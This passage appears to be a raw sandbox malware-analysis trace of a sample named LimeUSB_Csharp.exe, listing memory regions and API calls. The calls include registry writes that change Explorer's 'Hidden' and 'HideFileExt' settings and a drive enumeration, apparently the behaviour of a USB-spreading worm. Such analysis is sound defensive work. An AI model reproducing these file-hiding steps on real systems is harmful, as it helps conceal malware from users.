1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 4137 start_va = 0x1b580000 end_va = 0x1b67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 4138 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4141 start_va = 0x1b680000 end_va = 0x1b94efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4142 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4143 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4144 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4145 start_va = 0x7fe92450000 end_va = 0x7fe924cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92450000" filename = "" Region: id = 4146 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4147 start_va = 0xee0000 end_va = 0xf5cfff monitored = 0 entry_point = 0xeecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4148 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 4149 start_va = 0xee0000 end_va = 0xf5cfff monitored = 0 entry_point = 0xeecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4150 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4151 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4152 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4153 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4154 start_va = 0xee0000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 4155 start_va = 0x7fe924d0000 end_va = 0x7fe924dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe924d0000" filename = "" Region: id = 4156 start_va = 0xd00000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 4157 start_va = 0xd00000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 4158 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4159 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4160 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4161 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 4162 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 4163 start_va = 0xe30000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 4164 start_va = 0xe60000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 4165 start_va = 0xd00000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 4166 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4167 start_va = 0x1b950000 end_va = 0x1bc21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 132 os_tid = 0x398 [0238.753] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0240.586] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0xe2edc8 | out: phkResult=0xe2edc8*=0x1c4) returned 0x0 [0240.588] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xe2ee18, lpData=0x0, lpcbData=0xe2ee10*=0x0 | out: lpType=0xe2ee18*=0x4, lpData=0x0, lpcbData=0xe2ee10*=0x4) returned 0x0 [0240.595] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xe2ee18, lpData=0xe2edf8, lpcbData=0xe2ee10*=0x4 | out: lpType=0xe2ee18*=0x4, lpData=0xe2edf8*=0x2, lpcbData=0xe2ee10*=0x4) returned 0x0 [0240.617] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xe2edd8, lpData=0x0, lpcbData=0xe2edd0*=0x0 | out: lpType=0xe2edd8*=0x4, lpData=0x0, lpcbData=0xe2edd0*=0x4) returned 0x0 [0240.619] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0xe2ee48*=0x2, cbData=0x4 | out: lpData=0xe2ee48*=0x2) returned 0x0 [0240.619] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xe2ee18, lpData=0x0, lpcbData=0xe2ee10*=0x0 | out: lpType=0xe2ee18*=0x4, lpData=0x0, lpcbData=0xe2ee10*=0x4) returned 0x0 [0240.619] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xe2ee18, lpData=0xe2edf8, lpcbData=0xe2ee10*=0x4 | out: lpType=0xe2ee18*=0x4, lpData=0xe2edf8*=0x1, lpcbData=0xe2ee10*=0x4) returned 0x0 [0240.620] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xe2edd8, lpData=0x0, lpcbData=0xe2edd0*=0x0 | out: lpType=0xe2edd8*=0x4, lpData=0x0, lpcbData=0xe2edd0*=0x4) returned 0x0 [0240.620] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0xe2ee48*=0x1, cbData=0x4 | out: lpData=0xe2ee48*=0x1) returned 0x0 [0240.623] GetLogicalDrives () returned 0x4 [0240.639] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0xe2dd58 | out: phkResult=0xe2dd58*=0x0) returned 0x2 [0240.639] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0240.646] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xe2e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0240.648] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0240.650] CoGetContextToken (in: pToken=0xe2fc60 | out: pToken=0xe2fc60) returned 0x0 [0240.650] CObjectContext::QueryInterface () returned 0x0 [0240.650] CObjectContext::GetCurrentThreadType () returned 0x0 [0240.651] Release () returned 0x0 [0240.652] CoGetContextToken (in: pToken=0xe2f700 | out: pToken=0xe2f700) returned 0x0 [0240.652] CObjectContext::QueryInterface () returned 0x0 [0240.652] CObjectContext::GetCurrentThreadType () returned 0x0 [0240.652] Release () returned 0x0 [0240.652] CoGetContextToken (in: pToken=0xe2f700 | out: pToken=0xe2f700) returned 0x0 [0240.652] CObjectContext::QueryInterface () returned 0x0 [0240.652] CObjectContext::GetCurrentThreadType () returned 0x0 [0240.652] Release () returned 0x0 [0240.657] CoGetContextToken (in: pToken=0xe2f700 | out: pToken=0xe2f700) returned 0x0 [0240.657] CObjectContext::QueryInterface () returned 0x0 [0240.657] CObjectContext::GetCurrentThreadType () returned 0x0 [0240.657] Release () returned 0x0 [0240.659] CoGetContextToken (in: pToken=0xe2f720 | out: pToken=0xe2f720) returned 0x0 [0240.659] CObjectContext::QueryInterface () returned 0x0 [0240.659] CObjectContext::GetCurrentThreadType () returned 0x0 [0240.659] Release () returned 0x0 [0240.661] CoUninitialize () Thread: id = 133 os_tid = 0xa6c Thread: id = 134 os_tid = 0xa0c [0239.439] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0240.654] RegCloseKey (hKey=0x1c4) returned 0x0 [0240.655] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 135 os_tid = 0x320 Process: id = "27" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x108e000" os_pid = "0x7a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4168 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4169 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4170 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4171 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4172 start_va = 0x3c0000 end_va = 0xe83fff monitored = 1 entry_point = 0xe7e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4173 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4174 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4175 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4176 start_va = 0x7fff5000 end_va = 0x7fff5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff5000" filename = "" Region: id = 4177 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4178 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4179 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4180 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4181 start_va = 0x1d0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4182 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4183 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4184 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4185 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4186 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4187 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4188 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4189 start_va = 0xe90000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 4190 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4191 start_va = 0xe90000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 4192 start_va = 0x1000000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 4193 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4194 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4195 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4196 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4197 start_va = 0xf10000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4198 start_va = 0x1010000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 4199 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4200 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4201 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4202 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4203 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4204 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4205 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4206 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4207 start_va = 0x230000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4208 start_va = 0x1110000 end_va = 0x1297fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001110000" filename = "" Region: id = 4209 start_va = 0x1d0000 end_va = 0x1f8fff monitored = 0 entry_point = 0x1d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4210 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4211 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4212 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4213 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4214 start_va = 0x12a0000 end_va = 0x1420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012a0000" filename = "" Region: id = 4215 start_va = 0x1430000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001430000" filename = "" Region: id = 4216 start_va = 0x2830000 end_va = 0x32ecfff monitored = 1 entry_point = 0x32ee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4217 start_va = 0x2830000 end_va = 0x32ecfff monitored = 1 entry_point = 0x32ee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4218 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4219 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4220 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4221 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4222 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4223 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4224 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4225 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 4226 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4227 start_va = 0x7fe91870000 end_va = 0x7fe9187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91870000" filename = "" Region: id = 4228 start_va = 0x7fe91880000 end_va = 0x7fe9188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91880000" filename = "" Region: id = 4229 start_va = 0x7fe91890000 end_va = 0x7fe9191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 4230 start_va = 0x7fe91920000 end_va = 0x7fe9198ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91920000" filename = "" Region: id = 4231 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4232 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 4233 start_va = 0x2830000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 4234 start_va = 0x29f0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 4235 start_va = 0x2cd0000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 4236 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4237 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4238 start_va = 0x2dd0000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 4239 start_va = 0x1add0000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 4240 start_va = 0x2830000 end_va = 0x2930fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 4241 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 4242 start_va = 0x1b150000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 4243 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4244 start_va = 0x29f0000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 4245 start_va = 0x2bc0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 4246 start_va = 0x1b290000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 4247 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4248 start_va = 0x1b390000 end_va = 0x1b65efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4249 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4250 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4251 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4252 start_va = 0x7fe91990000 end_va = 0x7fe91a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91990000" filename = "" Region: id = 4253 start_va = 0x7fefd800000 end_va = 